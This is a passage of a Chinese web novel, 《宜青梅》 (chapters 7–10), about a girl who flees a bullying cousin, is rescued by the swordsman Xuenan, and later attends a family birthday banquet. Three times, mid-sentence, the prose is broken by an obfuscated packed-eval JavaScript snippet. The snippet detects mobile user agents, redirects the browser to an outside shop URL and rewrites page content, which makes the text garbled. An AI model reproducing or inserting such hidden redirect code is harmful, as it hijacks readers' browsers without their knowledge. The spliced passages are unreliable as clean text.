《宜青梅》 7. 缓归客（六） 宋家嫡系声名鼎沸，先帝在世时，也算风头无两。后来牵扯到一桩皇室秘辛，冷落了十几年，到了宋从昭这辈重新起复，乃京城中数一数二的门庭。 宋培玉出身昶西旁支，家底单薄，背景平平，对上正支小姐，怎么都该矮她一头。 可宋培玉生养在好时候。 九年前，其父宋阆于“常遇案”有功，极受太子殿下青眼，连连擢升，又仗着妻族的势，广交权贵，一时名声大振。 宋培玉作为家中幺子，素来任性妄为，家中长辈也都睁一只眼闭一只眼，十年如一日的溺惯，便养成了他如今这幅德行。 星回原先跟在三姑娘身边，对宋培玉算是有些了解，心里虽惧，身体还是本能地护在主子身前，质问道：“十公子，您这是做什么？” 宋培玉剔她一眼，很快将目光投回知柔脸上，带着丝谑笑。 “我原先的书童回乡照顾老母，正好出了空缺，瞧你像是会读书的种——这样吧，我花十两，把你买回去。”面上得意之色简直亮得刺眼。 星回错愕地睁大双目，后知后觉看向知柔。 这个年纪的孩子大多容易冲动，知柔也一样，微微咬腮。 宋培玉见状，笑容更盛，挑衅的语气问：“十两不够？” 他象征性地往前迈一步，身旁几个仆从立刻围上来，将她二人团团围住。 知柔没有动作，星回却被他的架势唬破了胆。左右慌顾一霎，蓦然高声：“十公子，您可瞧清楚！这是我们四姑娘，不是您能随意买去的书童！” 一嗓子厉喝，引来不少路过的行人朝这边张望。 宋培玉却没有把装腔作势的婢子放在眼里，只盯着知柔。他啧啧两声：“你是个哑巴呀？” 隔着数十步外，魏府马车正穿过人群，预备向街角转折。 辕座上的兰晔被动静吸引，扭头睇了一眼，“怎么有些面熟呢……”他低声道。 未多久，他机警的眸子立即亮起来，用鞭鞘指着知柔：“爷，那不是那日咱没抓到的小子么？” 说完停了马车，犹豫着想要跳下去，把人抓回来。 魏元瞻坐在车厢内把玩新得的汉剑珌①，闻言推开门，循着吵闹声往前面看了看。 辨认一会儿，他随口说道：“她不是小子。” “啊？”兰晔有些懵，来不及多问，不远处响起一道惨烈的叫声—— 宋知柔一脚踹在宋培玉腿上，拽了小婢女就跑。 宋培玉被几个仆从扶着站稳身形，立即抽出胳膊喝道：“扶什么扶！还不去把那个小野种给我绑了！” 话落，仆从接连应声，确认自家公子无碍便朝知柔逃跑的方向追去。 人声渐远，兰晔才从刚才的景象中回神，几乎赞叹地开口：“爷，她跑得真快啊，怪道咱们上次没……” 扭头对上魏元瞻冷挑的眉梢，急忙改口：“咱还抓她吗？” 车门“喀哒”一声闭上，魏元瞻的嗓音从里面淡淡传出：“不用了，别耽误正事。” “她是谁啊？”他一坐好，原倚着车壁假寐的少年忽然凑过来，面上带点慧黠的笑。 “你不认识。” “你告诉我，我就认识了。”少年不依不饶。 魏元瞻斜眼看他片刻，突然抄起手，半真半假的模样：“她好像姓宋。” 此言入耳，盛星云的脸色一下变得通红，忙将眼睛转向车顶，慌乱地说：“那雪南先生究竟住在什么地方，还没到……” 长街两侧店肆林立，日辉洒在行人欢笑的脸上，一派和乐之景。 倏听衣袂翻飞声哗然而过，行人搭眼瞧，就见两个孩童狗撵兔子似的，一溜烟儿消失在视野中。 知柔携星回跑了一段，见身后豪奴穷追不舍，暗道不是办法。 四下里顾一圈，她将星回藏到一处木桶后，说：“星回姐姐，我去引开他们，不要出来。” 星回头次这样奔命，两条腿都是软的，可让主子替她周全，她惊愕地叫出声：“四姑娘！” 字音才起，声调就压了下去，死死捂住嘴唇，一双眼害怕又羞愧地望向知柔。 回应她的只有周遭浮光，知柔不曾与她多言，清瘦的身影像风一样卷进街角，看不见了。 从前在洛州，知柔逃跑的时候不少，很有经验。眼下没了顾忌，行动愈发快起来，在衣香鬓影中穿梭，最终驻足一座石桥边。 观水的颜色尚浅，她捡起一块石子往里投，须臾，水面激起一圈浑浊。 她吁一口气，猝然栽入水里，浑身哆嗦地贴在桥洞下。 岸上追赶的脚步声越来越近，眨眼的功夫，似乎已近在咫尺。 知柔一颗心砰砰直跳，不敢动分毫。 “人呢？” “方才明明看见他朝这里跑，哪里去了？” “他娘的！跟个小兔崽子都能跟丢，咱也不用回去交差了！” 几个豪奴吵嚷片刻，气势汹涌地过了桥，分头向东西两边继续搜。 冬日的水冰寒彻骨，知柔爬上岸时，一张秀白的脸已没有几分生气。 担心他们折返，冻僵的腿往前迈了迈，走了两步，她忽然停下来，望着四周。 她不知道怎么回去。 莫大的茫然席卷而上，兼身体受寒，鼻子不由有些酸。 这时，一个高大的身影朝她走了过来。 肩膀倏而一重，是那人将自己的氅衣披在她身上，复蹲下身，可怜她似的，语调和煦又小心：“你是谁家孩子？” 男人三十余岁，轮廓温和，眉目秀挺，乍一瞧有些凶相，但不知怎的，知柔听他说话竟有点儿亲切的味道。 她张了张口，身子直打寒战。 男人皱眉，犹豫一会儿，他放下佩剑，帮她把氅衣拢得更紧：“你家在何处，我送你。” 阳光斜在男人肩上，他背后是攒动的人群，知柔一错眼，瞧见了宋培玉。 她心口一跳，忙将脑袋埋进氅衣。见状，男人站起身，慢慢转过头。 街道上，一个衣饰华贵的少年正拽人问话，不一时，怒气冲冲地甩袖，快步走过来了。 时近晌午，天边的流云逐渐散开，晴丝曝在身上，比早晨要温暖许多。 马车到了巷口，魏元瞻和盛星云先后下去，隔着很远便看见起云园外站满了人——皆是慕名来拜雪南先生为师的。 朝廷士风向来推崇文武双全，先帝重开武举后，名将辈出，金甲黄沙的故事在这些少年郎心中占据了独一份儿的色彩。 盛星云拉着魏元瞻走到最前面，一边回首一边说：“这么多人，你娘应该发现不了。” 魏元瞻刻意笑了下：“怕什么，我是陪你来的。” 这话听得盛星云瞪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12848678|135560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼：“合着你叫我来是给你顶罪的！” 他憋闷一刻，又奇奇怪怪地拧眉，不大确定地问：“侯夫人知道你还在习武，顶多骂你一顿，总不能打你吧？” “打我也不怕。” 话音刚落，周围人声蓦然躁动起来，人群中辟出一条小道，一个格外英武的男人走在其间。 他衣衫单薄，一只手垂落身侧，另一只手习惯性地按在佩剑上，身后跟着一个男孩儿，正踩着他的影子留下两行湿脚印。 盛星云抵一抵魏元瞻的肩：“没听说雪南先生还有一个女儿，长得也不像，怎么还病怏怏的，还……像只水鬼。” 魏元瞻回眸看去，竟是宋知柔裹着过长的氅衣跟在雪南后面，身量像被压矮了，显得小小一只。 魏元瞻眉头微挑，安静地打量她，少顷，他问盛星云：“你怎么知道她是女孩儿？” 刚才在马车上，盛星云并未瞧见她。她一身男装，又被厚重的衣物遮掩身形，如何看都是一个年幼的小子。 盛星云轻轻嗯一声，良久别过脸：“啊，不是么？” 两盏茶的功夫前。 男人替知柔躲开了宋培玉，她凝视男人手中玉剑，认出他来。待要开口，牙关却不停打颤，一个字都说不出。 她年岁小，又落了水，没人照看，只怕会出事。急思下，男人提议将她带到自己的宅院，先找医者诊治，再送她回家。 呼呼喝喝的玩闹声自耳畔划过，二人折进巷道，登时又被云缎锦衣的少年晃花了眼。 知柔本不想跟随过来，可剧烈的昏沉一直瓦解着她的身体，听他说宅子就在街角，没几步，适才点头。 谁知是这番景象。 知柔实在太落魄，太狼狈了，她刻意回避那些探究的目光，低敛眼眸。 四肢越来越重，大约走了很久，快到宅门下时，她清晰地听见一个声音：“四、四姑娘？” 虽抑着音量，知柔仍从那公鸭般的嗓子里分辨出来——前院的小裴哥哥。 知柔脑子一嗡。 脚下兀然一个趔趄，向旁栽了下去。 和她初入京城那日一样，没有跌一嘴泥，更没有预料中火辣的疼痛…… 知柔暗叫不好，掀起眼皮，才堪堪入目半张面孔，她又猛地阖上，彻底“晕”了过去。 此时此刻，寒风打着旋扑入书窗，宋从昭立在窗畔，回想方才老夫人的那番话，分明不愿意他给知柔取名。 所谓等到她及笄，不过是见日子还长，缓兵之计罢了。 宋从昭觉得愧对林禾母女，愁眉不展地站一阵，走出房门，看着庭院里大多枯败的草木，才发觉已经立冬。 算一算，知柔入府也有一个多月，他却未曾去过拢悦轩。 打定主意，宋从昭把衣袍稍正，往后院去了。 消息传到拢悦轩，廊檐下打瞌睡的奴婢遽然惊醒，搓一搓偏麻的手，即刻满院子寻四姑娘。 宋从昭来的时候，院里寂寂无声，他心中疑惑，大步穿过庭院，到知柔房外，见跪了一地的婢女，一种不好的预感陡地浮上心头。 他飞快推门而入，对着空荡的屋室，默了一瞬，眸光微沉：“你们姑娘呢？” 奴婢们怯得发抖，双手按在地砖上，不敢答话。 宋从昭怒不可遏，他忍着气，握了握拳。 “去找。” 8. 缓归客（七） 晌午时候，薄雾尽褪，小巷间已是流光融融。 盛星云想了想，换一套解释：“她生得漂亮，就是女孩儿。” 魏元瞻似乎犹疑地抬眉，隔着数丈金光将宋知柔仔细看一遍。 从她走一步踉跄一步的脚，到那张不敢扬起，半边都藏在氅衣下嫩生的脸庞…… 魏元瞻抿了抿唇。 半晌，他视线从宋知柔身上挪开，看到周围密匝的人影，神色有些黯。 突然袖袍晃动，盛星云掣了他的胳膊，低声问：“你知道为何这么多人想拜雪南先生为师吗？” 表情高深莫测，令魏元瞻轻蹙下眉，沉默一会儿，说：“先生武艺超群，众人慕他，有何奇怪？” “不是。”盛星云凑近些许，刻意压着嗓音，“江南有一传闻，说他从前有个徒弟，本来沉疴在身，命不久矣，却因为拜到他门下，得他神力祛祟，后来身子日益强壮，多活了好几十年。所以啊——” 盛星云歪起嘴角，说道：“做雪南先生的徒弟，能延寿。” 话音甫落，魏元瞻已像打量病人似的看了他好几眼，倏而一笑：“雪南先生才过而立，哪来跟他好几十年的徒弟？你是傻子吧。” 又想他方才神叨叨的样子，魏元瞻忍不住，拿手扶面，再次笑起来。 盛星云被他这一讽，眼神都呆滞了。渐渐地，他回过味，咬牙揽上魏元瞻的肩：“谁是傻子？” 寻常打闹，魏元瞻从不上心，随他怎么揽，只是稳稳当当地立在那，笑而不语。 盛星云一时动气，极快与他分开，推了他一把。他身形一转，再站稳，有一团黑影朝他跌下。 下意识地，魏元瞻伸手按住来人的肩，不想力道太冲，她连人带氅衣地撞过来，贴进他怀中。 几乎是一个环抱的姿势，他紧紧搂着那团黑影。 很快，魏元瞻回神，一双英挺的眉毛难以察觉地压一下，下睨着她。 周身萦绕着不属于自己的温度，额头抵了什么，融融的，像衣襟装饰的风毛…… 知柔瞬间反应过来。 想要离开，可刚一动作，脚踝攀上一股肿胀的痛感，她站不稳，重跌回少年胸前。 却是这个刹那，知柔看见少年半张面孔，谈不上熟悉，只是那矜傲又燥郁的感觉，让她冷不丁想起一人。 知柔耳朵微热，不愿叫他认出自己，索性两眼一闭，撒手“晕”了过去。 还好这份装相不用维持很久，雪南来抱她时，少年握在她肩头的手微微施力，把她推开了。 与此同时，盛星云的声音从背后而至，带着十足的歉意：“对不住，我只是想让你搭理我，你没受伤吧？” 魏元瞻睇他一眼，摇头，回首望着雪南。原本高大的身躯，此刻抱着一颗粽子似的姑娘坐于臂弯，显得格外和善。 他一开口，便是这样亲慈的味道，对魏元瞻说：“多亏你，他才没有摔到地上。” 魏元瞻不敢领功，眼神胡乱地避一避，随口答对：“没什么。” 当是少年人腼腆，雪南笑了笑：“我虽不收徒，家里却有些好茶可以招待。进来吗？” 听了这话，魏元瞻感到一阵失落，随后理清思绪，对他拱一拱手：“那便多谢先生。” 起云园原是前朝户部侍郎吴渭的故居，他早年科举不顺，直到知命之年才被前朝末帝赏识。 是以，后来赁这座宅子的多是些怀才不遇的士子，内里装潢未更，一代代保存下来，随处可见书香气息。 魏元瞻第一次来起云园，由雪南引路，绕过流水桥，穿过两道廊子，来到西边的厢房。 “你们先坐。”雪南将知柔安置榻上，踱开几步，掣两张梳背椅给他们：“我去寻身干爽衣服，回来给你们煮茶。” 魏元瞻没想过宅中是这番情景，竟连仆侍也无，他不肯叨扰，雪南却很客气，手掌在二人肩头一按：“无妨，我一个人也是这样，没什么麻烦的。”说完提脚出了房门。 盛星云目送他远去，拍了下手，满脸骄傲地回视魏元瞻：“乘你的光，方才他们看我那艳羡的眼神，别提多痛快了！只是雪南先生不收徒，实在可惜。” 魏元瞻一颗心都在雪南身上，他走了，兴致慢慢落下来，有些敷衍地搭腔。 盛星云嫌他寡淡，走到榻边去看知柔。 日光明媚，过窗渗透进来，整间屋子都被映得柔软了。 小姑娘裹着氅衣躺在榻上，露出一张玉白的脸，微隆的眉骨下嵌着羽蝶，似乎感应什么，有些微颤。 盛星云一喜：“你醒了？” 知柔暗暗咬牙，唯恐他继续说话，她强撑僵直的身体，半点儿不敢动弹。 却无奈，天不遂人愿。盛星云认定她已醒来，不知出于何种缘故，他觉得她会是一个有意思的人，于是拎着袍摆，在长榻另一端坐下。 “你叫什么名字？” “你是雪南先生的女儿吗？” “你为什么一身湿啊？” 在他问出一连串的问题后，榻上的人依旧没有任何回应，甚至眼皮都不曾掀开，牙关紧咬，像是魇住了。 一点晶莹的光在地砖上闪烁，室内悄寂无声。 魏元瞻目光往榻上停一刻，有些想笑。 还装。 转而扬起眉眼，把盛星云叫回来：“别吵了。你不累么？” 盛星云额心微挤，有些闹不明白：“她是不是故意的？” 魏元瞻不置可否。偶然回身，余光中踩进一道长长的影子。 是雪南跨进来，手里披着一件青衣，到知柔榻边站了片刻。 听脚步声，知柔知道是他回来了，骨头实在太酸，身子一扭，装模作样地咳两声，慢慢睁开眼。 她的技艺委实不算高明，雪南早瞧出她在装睡，只是不明就里，也就没有拆穿她。 他微笑道：“醒了，把衣服换了吧，大夫一会儿就来。” 原来宅中是有一个老仆的，被他遣去请医，方才回报。 知柔碧清的眸子往房中三人身上溜一圈：“我……不方便。” 童音稚稚，有些许哑。 雪南一笑：“没人看你。”话罢背过身，大掌一挥，示意两个少年都转过去。 他不知道榻上的孩子是个姑娘，魏元瞻和盛星云却清楚。 二人脸颊一烫，先后跑到屋外面等。 初冬时节，万物都是幽静的，树影携着光斑照到檐下，室内传出喁喁的说话声。 “您不记得我了？” “去岁秋天，您在洛州旸子街上救的人，是我。我认得您的剑。” 此言作罢，房中静了须臾。 知柔担心他瞧不出她的眉目，连忙抬手把额前湿发蹭开，仰着圆扑扑的脸，双眸闪亮。 “是你。”雪南端详她一刻，记忆闪回洛州，那个逼仄不见首尾的巷道里，曾有一个像猎豹般的女孩儿。 他长袍一荡，坐下重新看她几眼，轻轻笑了：“怎么到了京城？” 知柔不知作何答复，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12848679|135560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说随阿娘上京，暂时住下。 沙沙的脚步声由远及近，门外，老仆将大夫引了过来，禀言后在屋前止步。 大夫一来，雪南腾出地方，等他望闻问切后，开了几幅药，知柔喝过便睡着了。 这一觉颇沉，醒来时，日影西颓，烛光自帐幔晕染，罩在女人身上。知柔半梦半醒，睨着床边静坐的人，试探出声：“阿娘？” 她嗓音很轻，几如羽毛划过，没留什么痕迹。 林禾却听见了，忽地起身拨开帐幔，坐到她跟前。纤薄的影子挡住烛光，她眉眼才渐渐松展。 林禾摸一摸她的头发：“饿了吧？我叫人送些吃的过来。” 知柔不语。林禾去到哪儿，她两只眼睛就盯到哪儿，秋毫不离。 林禾回来发现她这样，也有些纳罕了，正要开口，就听她问：“阿娘，你不生气？” 她刚刚睡醒，大约是衾被厚了，额间发了一层薄汗。 林禾将她从被子里捞出来，一边拿巾帕替她擦脸，一边说道：“生什么气？气你躲着我、不来见我，还是你私自跑出去，给自己落一身不痛快？” 擦完睇她一眼，无奈地笑笑：“傻孩子。” 前些天的别扭一笔勾销，知柔高兴了，嘻一声，扑到林禾怀中。 母女闲话一阵，她蓦然想起什么，一拍大腿道：“星回姐姐呢？” 星回回到宋府，天边已经泛青了，她焦急地朝拢悦轩赶，方一入内，便见廊下跪着一排人。 管事邹爷立在纱灯下，目光掠到她，面容稍缓，从她口中得知四姑娘去向，便招一招手，叫出去的人都往灵真桥附近找，务必要将四姑娘平安带回来。 星回年纪小，从没遇过这样的事，一想四姑娘流落在外，她泪如泉涌，哭湿了半边袖子后，听见前院有人来说，四姑娘回了。 她再次见到知柔是在樨香园。 知柔只穿了件素色棉衣，面对林禾坐在杌凳上，瞧屋内烛火愈燃愈暗，有些倦了，下颌抵着锁骨，一言不发。 直到星回进来，她忽然有了精神，跳下凳磕绊地跑过去。 见她眼尾绯红，顿了顿：“你怎么了？” 星回饮泣道：“四姑娘……” 她一哭，知柔不知如何回应，只瞧她鼻子一抽一抽的。 过了一会儿，知柔兴兴起步，拉她落到榻上，将自己一天的经历讲与她听。 譬如，大名鼎鼎的雪南先生竟是她的故人；她为了躲魏元瞻，合着湿衣躺麻了半边身子…… 星回听得认真，涕泣渐止。 知柔讲着讲着，突然发现自己忽略了一事。 她醒来之前的记忆停在起云园，喝完先生煎的药，便没了下文——她未曾透露住所，却是怎么回的宋府？ 第二天，知柔没去家塾。 她风寒未愈，左脚还有些擦伤，林禾将她接到樨香园亲自照料。 虽如此，知柔昨日所经之事仍传遍了整个府邸。 二房的下人说，昨儿四姑娘偷跑出去，二老爷便把拢悦轩伺候的奴婢都打发了，为着此事，二太太与二老爷置了好一通气。 派人去找四姑娘，又迟迟无音，及至天色擦黑，四姑娘才被一辆马车送回来。 “好像是表少爷送四姑娘回的，您说奇不奇怪？表少爷跟四姑娘八竿子打不到一处，如何认识的……” 宋祈羽正从林木下走过，预备进家塾。 听身旁随侍提及此，他眉梢轻挑，反问了一声：“魏元瞻？” 9. 缓归客（八） 宋祈羽和魏元瞻并非一开始就不尚往来。 还是两年前，一个春日的下午，侯夫人携一双儿女至宋府拜谒。宋祈羽听闻他来，手里的长枪忽地收势，丢给一旁小厮，转而大踏步朝前厅走。 魏家枪法十分有名，他跟着魏老侯爷学了两年，也就是魏元瞻的祖父。 二人从小一起习武，一起读书，虽不至于好做亲兄弟，但他与魏元瞻的关系，可比跟长房的宋祈章要亲厚许多。 那日，魏元瞻心情不好，他试着开解却无甚效用，魏元瞻突然提出想和他比试枪法。 说是比试，其实不过一场发泄罢了。 魏鸣瑛是坐不住的性子，见他二人不陪自己，一时无聊，大喊他们几声。未得回应，一气之下拎着裙摆，胡乱朝内院提步。 等他们再见到魏鸣瑛时，她和宋含锦打了起来。 魏鸣瑛将宋含锦推入池塘，自己也磕到桥柱，鲜红的血从额头缓缓流下，可怖极了。 见状，魏元瞻即刻跑去她身边，撕掉衣袖替她按住止血。宋祈羽自然扑进水中，将不断打臂的妹妹救了上来。 他们的关系，便是在这一天，这个午后，变得越来越疏淡了。 那晚回到绝珛，宋含锦高烧不退，宋祈羽担心，在她房中陪了一整宿。 隔日醒来，宋含锦将事情的来龙去脉大致说与他听。原来她二人当时误打误撞，看见了母亲跟侯夫人发火，扯出一些陈年旧事。 宋祈羽听了没有说话，他默默地想，魏鸣瑛或许也将这些告诉魏元瞻了吧。 同年五月，魏老侯爷寿终。 那是宋祈羽最后一次踏足宜宁侯府。 以后，二人在宋府碰面，除了相互见礼，再没什么别的话。 听闻是魏元瞻把宋知柔带回来的，少年人英锐的长眉轻轻一挑。 他那位世子表弟素来傲慢，兼母亲的缘故，一向不喜与宋家交往过深，如今怎会主动招惹一个宋府之女？ 身旁的随侍回道：“昨晚当值的人说，表少爷是和一个面容凶悍的男人一起来的，四姑娘好像病了，说不清……” 昨日的旁枝末节，宋祈羽毫不在意，只觉得魏元瞻此举实在令人疑惑。 未多久，他嗤笑一声，提衣跨入家塾。 樨香园里，知柔拿根竹签蹲在树下，很是郁闷的样子。 她身体结实，才染的风寒，喝过药已经快大好了，林禾却谨慎，不准她到处胡闹。 被困太久，知柔思绪纷飞，一会儿想这，一会儿想那。 星回静立旁侧看护她，见她撩拨枯叶，头发被风吹得覆了半张脸，不由出声：“四姑娘，还是回屋里待着吧，风太大了，您的病还没好全呢。” 此言落下，她半晌没有搭腔。 等星回准备去拉她时，她突然抬头，一边眉毛剔得高高的：“星回姐姐，他们说的是不是真的？昨日是那个魏世子送我回来的？” 那人与她拢共见了三次，知柔对他的印象却称不上好。 他矜贵得像只狻猊①，与她话少，仿佛生怕沾染了她的气息，会患什么疾症似的。 还冤枉她。 如此瞧她不上的世子，怎会蓦地发了善心，送她回府？ “我不知道。”星回见到知柔，已是她被送到樨香园之后了。 “不过他们都这么传，大概是真的。” 其实她也奇怪，表少爷上回来宋府，分明跟四姑娘有些旧，但不是寻常那种。昨日一行，莫非与四姑娘和好了？ 知柔得到答复，虽不解，却未再深想，转而问道：“宋培玉呢？他怎么样？” 这话把星回惊住了：“您怎么还关心他呢！” “我都害上风寒了，他不可以安然无事。”知柔定定地说。 细一回味，唇角忍不住嘟了嘟：“其实我昨天踹得挺用力的，应该能叫他疼个三五日。” 星回扑哧一声笑出来，待要开口，知柔又扔掉竹签起身，乌溜的眸子里迸满悔色：“我就该先骂回去，再打他！” 对于只踹了宋培玉一脚这件事，知柔耿耿于怀。星回到底长她两岁，笑完之后平复下来，忧虑再上眉间。 “十公子是很过分，可您……”顿了顿，低头对知柔道：“您往后去进学可要当心，十公子并非善茬。” 经昨日一事，星回对她有了不一样的情感，打心底里认了这个主子，只希望她能顺遂。 险些忘记了，眼前的小主子从一进门就与旁人不同，她很有几分桀骜的气质。 “我不怕他。”知柔浑不在乎地丢下这一句，心思又歪到灵真桥下的栗子铺去了。 接连几日，药膳源源不断地送进樨香园，宋从昭怕知柔孤闷，亲自择了两样物什儿给她逗趣。 一个是小乌龟，一个是布做的灵猊。 知柔抓着布灵猊玩了一会儿，没缘由地想起魏元瞻，避邪祟般，她立刻丢开手，巴巴地跑去逗弄乌龟。 林禾一时不察，知柔就抱着新宠偷偷溜了出去。至后山小花园，她仰躺在亭中一角长凳上，将乌龟举着细细打量。 “你呀……不怎么好看。”隔了半会儿，知柔给它下了判词。 那乌龟像能听懂似的，灵活的脖子一缩，只留给她一个粗糙干涩的壳，再不动了。 知柔两腿一扫，登时坐正起来，敲它的壳：“就算你不好看，我也会好好养你的。出来吧？” 宋含锦陪母亲许氏闲逛到小花园，便遇上这一幕。 周遭无人伺候，不消猜，她定又是“逃”出来的。 早听闻她不守规矩，人前礼数做足，人后却是一副顽劣之姿。偏父亲看重她，为她遣了一院子人，买来新的；唯恐她风寒难愈，成天命厨房熬了药膳送过去。 在宋含锦心里，知柔永远是一个外来客，若她不来招她的眼，或能相安无事。 坏就坏在，郑娘子是因为林禾才被送出府的。 原欲折身回走，一思及此，她停下脚步，寂然瞥着知柔：“母亲，明日外祖母寿辰，为何不让她也去？” 许月鸳秀目微偏，看见亭中人影，菱角般的嘴唇捺了下来，对女儿说道：“你外祖母什么脾气你不知晓？别给她老人家寻不痛快了。” 宋含锦道：“明日大家都去，独她一个留在府里，只怕旁人要说闲话。” 这一句触了许月鸳的忌讳，眉眼顿时冷峻几分：“什么闲话？她本就是个来路不明的东西，已让她进了门，添了姓，还想要我怎么抬举？” 为了这个低贱丫头，她和宋从昭已红过几回脸，老夫人又是不管事的，分明不待见四丫头，却让她来做恶人。 难道她的名声就无足轻重么？ 她声色尖利，方一说完便意识到自己失态，重收平眼角。 思忖片刻，她淡淡道：“罢了，你说的也有理，去就去吧。” 微一抬手，身后的嬷嬷走上前，听她吩咐：“把王大夫请来府里，让他给四姑娘看看，若是无恙了，叫四姑娘搬回拢悦轩，明日一早随车去许府贺寿。” 所谓飞来横祸，大抵就是如此了。 他们许家的亲戚前去祝寿，关她一个毫不相干的人什么事？ 知柔不乐意同往——许老夫人决计不会喜欢她，她又何苦顶着这个尴尬的身份，去讨人家嫌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12848680|135560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但她一个小丫头的心意并不重要。 第二天天不亮，知柔就被一个面生的嬷嬷唤醒，梳洗打扮后，乘上马车，到了藩司右参议许修悯府前。 尚未交巳时，街道上行人已渐渐多了。 宋家两房一并造访，算上伺候的下人，长长的队伍将后边堵了一半。 侯府马车中，少女不怠的声音轻轻响起。 “舅舅前年不是说要搬回靖州去么，两年了，居然还在京师。” 许府如今由许修悯当家，许老夫人就这么一个儿子，事事多依他的意思。 “你很盼着他们离开吗？”魏元瞻问。 魏鸣瑛沉默须臾，眉头紧敛一下，语调却平常：“我不喜欢外祖母，你知道的。” 他们的外祖母许老夫人是一个把心偏到胳膊肘，自私自利，且尤其刻薄的人。 无论大事小事，凡可以支使他们母亲的，便尽管托付，好似忘了自己还有另一个女儿；逢节下见面了，她又像个慈祥的长辈，有说不完的话，然没一句中听，字字刺耳。 孩童的世界里，黑和白可以很分明。魏鸣瑛尚年幼时，便以一个人对待自己的方式来判断他的情意。 她与外祖母的情意，实在稀薄得很。 魏元瞻扭头看她神情，劝道：“外祖母过寿，姐姐还是忍耐一日吧。” “说得轻巧。”魏鸣瑛低哼一声，不耐烦地撩开车帘，“为何还不走？” 外头驾车的回话：“前面宋家人正下马车，姑娘，世子，且还得一会儿。” 魏鸣瑛只能抄手坐回来，靠在车壁上抿唇。 瞧她烦躁的模样，魏元瞻不觉轻笑了下：“你又急什么？” “不想来的是你，着急入府的也是你，姐姐，你怎如此矛盾？”他似乎不解，又似乎与她玩笑，说话不紧不慢，简直太悠闲。 魏鸣瑛气结，二话不说便要揍他。 谁知拳头没打到他身上，纤细的手腕却叫他一把握住，他握得很紧，她几番挣动都如蚍蜉撼树，根本脱不开。 魏鸣瑛有些怔。 她从未意识到自己的弟弟可以这样轻易地掌握她，陌生的挫败感令她有几分慌神，嗓音一抖：“松开！” 魏元瞻松了。 魏鸣瑛趁机挪到对面，找了一个车厢内离他最远的位置，犹不敢置信地看过去。 他一回视，魏鸣瑛就像被人扎了一般，忙不迭侧首，割断目光。 打小被人爱护长大的姑娘，从来要风得风，要雨得雨，所有人都得就着她。 一朝受挫，魏鸣瑛心里十分不平衡。 短暂的失落后，她随手抓个什么就朝魏元瞻扔去，他抵挡了一下，手肘还是被用力地一擦。 纵是再好的脾气，此时也有些动怒了，魏元瞻双拳紧攥，却依旧没有还手。 从他记事起便是这般，魏鸣瑛欺负他，他都让着，因为她是姐姐。 外面熙攘的人影浮在窗纱上，少年脸颊微偏，照不清他的神色。 魏鸣瑛也有些后悔：“疼不疼啊……” “你说呢。”他冷淡地道，及至下车前都没再看她一眼。 进到许府，许家的弟弟妹妹瞧了他，一窝蜂迎上前喊他表哥，他点头应了，唇边扬起一点轻明的弧度。 或许是孩子的吵闹声过于热闹，宋家一行人调转目光，将视线投在侯爷与侯夫人身上，接着逐个离座，踏出花厅。 场面上的寒暄总归要做，魏元瞻不可避免。 只是他没想到，今日宴席上竟有一个意料之外的影子。 相比在场的所有人，她确实太突兀了。 10. 缓归客（九） 几家父辈在花厅前互相作揖时，宋家小辈们正在厅上给许老夫人拜寿。 知柔自知尴尬，从始至终就立在角落里，看他们向许老夫人磕头，道好听的祝词，接许老夫人给的红封…… 她漠不关心地看着，直到魏鸣瑛走了进来，微笑着喊了一声：“外祖母。”便算作见礼，没有磕头。 魏元瞻落后她一步入内，见她如此，自然也就站在那儿，和她一样，唤了声外祖母。 许老夫人坐在条案右边一张太师椅上，穿绛红色寿字纹锦袍，下巴颏儿尖尖的，气度优雅，年轻时候大约是个美人。 此刻，她笑容未改，亲切地招呼他二人上前，仔细端详一会儿：“长高了，也生得愈发俊俏了。” 话罢从身边丫鬟手里拿两个红封，一视同仁地递出去，好像并不计较他们欠奉的叩礼。 因这一点，知柔的目光总在他二人身上打转，魏元瞻似有察觉，时不时地偏过头。 视线一旦落到她身上，便难以挪开了。 她的打扮……喜庆，张扬，像个窗花中走出来的四喜娃娃。 思及此，魏元瞻忍不住覆睫，嘴角却不动声色地翘了翘。 许老夫人过寿，来的都是一家至亲。林禾一个妾室，没有到这儿吃席的脸面，宋从昭又怀公务在身，无法亲至，知柔顺理成章地成了一个无问津者。 待众人皆入厅落座，许老夫人忽然看见了她，抬一抬眼角，问：“那是个什么东西？” 许月鸳坐在她下首稍近的位置，闻言将知柔轻睨片刻，回首笑道：“母亲，那是我家四丫头。” 说着冲知柔招手：“柔儿，来，到老太太跟前儿磕个头。” 知柔一时有些懵了，没想过她也要行礼。 